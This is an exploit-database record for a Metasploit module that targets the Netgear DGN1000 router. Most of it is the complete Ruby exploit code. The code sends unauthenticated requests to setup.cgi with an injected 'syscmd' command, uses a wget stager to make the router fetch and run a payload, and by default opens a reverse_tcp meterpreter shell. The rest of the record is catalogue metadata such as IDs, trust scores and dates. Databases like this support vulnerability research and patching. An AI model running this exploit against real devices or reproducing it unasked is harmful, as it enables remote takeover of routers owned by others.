ID

VAR-E-201710-0438


EDB ID

43055


TITLE

Netgear DGN1000 1.1.00.48 - 'Setup.cgi' Remote Code Execution (Metasploit) - Hardware remote Exploit

Trust: 0.6

sources: EXPLOIT-DB: 43055

DESCRIPTION

Netgear DGN1000 1.1.00.48 - 'Setup.cgi' Remote Code Execution (Metasploit).. remote exploit for Hardware platform

Trust: 0.6

sources: EXPLOIT-DB: 43055

AFFECTED PRODUCTS

vendor:netgearmodel:dgn1000scope:eqversion:1.1.00.48

Trust: 1.6

sources: EXPLOIT-DB: 43055 // EDBNET: 94804

EXPLOIT

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'Netgear DGN1000 Setup.cgi Unauthenticated RCE',
'Description' => %q{
This module exploits an unauthenticated OS command execution vulneralbility
in the setup.cgi file in Netgear DGN1000 firmware versions up to 1.1.00.48, and
DGN2000v1 models.
},
'Author' => [
'Mumbai <https://github.com/realoriginal>', # module
'Robort Palerie <roberto@greyhats.it>' # vuln discovery
],
'References' => [
['EDB', '25978'],
],
'DisclosureDate' => 'Jun 5 2013',
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_MIPSBE,
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'linux/mipsbe/meterpreter/reverse_tcp'
},
'Privileged' => true,
'Payload' => {
'DisableNops' => true,
},
'Targets' => [[ 'Automatic', {} ]],
))
end

def check
begin
res = send_request_cgi({
'uri' => '/setup.cgi',
'method' => 'GET'
})
if res && res.headers['WWW-Authenticate']
auth = res.headers['WWW-Authenticate']
if auth =~ /DGN1000/
return Exploit::CheckCode::Detected
end
end
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Unknown
end
Exploit::CheckCode::Unknown
end

def exploit
print_status("#{peer} - Connecting to target...")

unless check == Exploit::CheckCode::Detected
fail_with(Failure::Unknown, "#{peer} - Failed to access vulnerable URL")
end

print_status("#{peer} - Exploiting target ....")
execute_cmdstager(
:flavor => :wget,
:linemax => 200,
:concat_operator => " && "
)
end

def execute_command(cmd, opts)
begin
res = send_request_cgi({
'uri' => '/setup.cgi',
'method' => 'GET',
'vars_get' => {
'next_file' => 'netgear.cfg',
'todo' => 'syscmd',
'cmd' => cmd.to_s,
'curpath' => '/',
'currentsetting.htm' => '1'
}
})
return res
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
end
end
end

Trust: 1.0

sources: EXPLOIT-DB: 43055

EXPLOIT LANGUAGE

rb

Trust: 0.6

sources: EXPLOIT-DB: 43055

PRICE

free

Trust: 0.6

sources: EXPLOIT-DB: 43055

TYPE

'Setup.cgi' Remote Code Execution (Metasploit)

Trust: 1.0

sources: EXPLOIT-DB: 43055

TAGS

tag:Metasploit Framework (MSF)

Trust: 1.0

sources: EXPLOIT-DB: 43055

CREDITS

Metasploit

Trust: 0.6

sources: EXPLOIT-DB: 43055

EXTERNAL IDS

db:EXPLOIT-DBid:43055

Trust: 1.6

db:EDBNETid:94804

Trust: 0.6

sources: EXPLOIT-DB: 43055 // EDBNET: 94804

REFERENCES

url:https://raw.githubusercontent.com/rapid7/metasploit-framework/cd35ae46611f650bfc157ce956b0de3857981ee5/modules/exploits/linux/http/netgear_dgn1000_setup_unauth_exec.rb

Trust: 1.0

url:https://www.exploit-db.com/exploits/43055/

Trust: 0.6

sources: EXPLOIT-DB: 43055 // EDBNET: 94804

SOURCES

db:EXPLOIT-DBid:43055
db:EDBNETid:94804

LAST UPDATE DATE

2022-07-27T09:15:08.553000+00:00


SOURCES RELEASE DATE

db:EXPLOIT-DBid:43055date:2017-10-25T00:00:00
db:EDBNETid:94804date:2017-10-25T00:00:00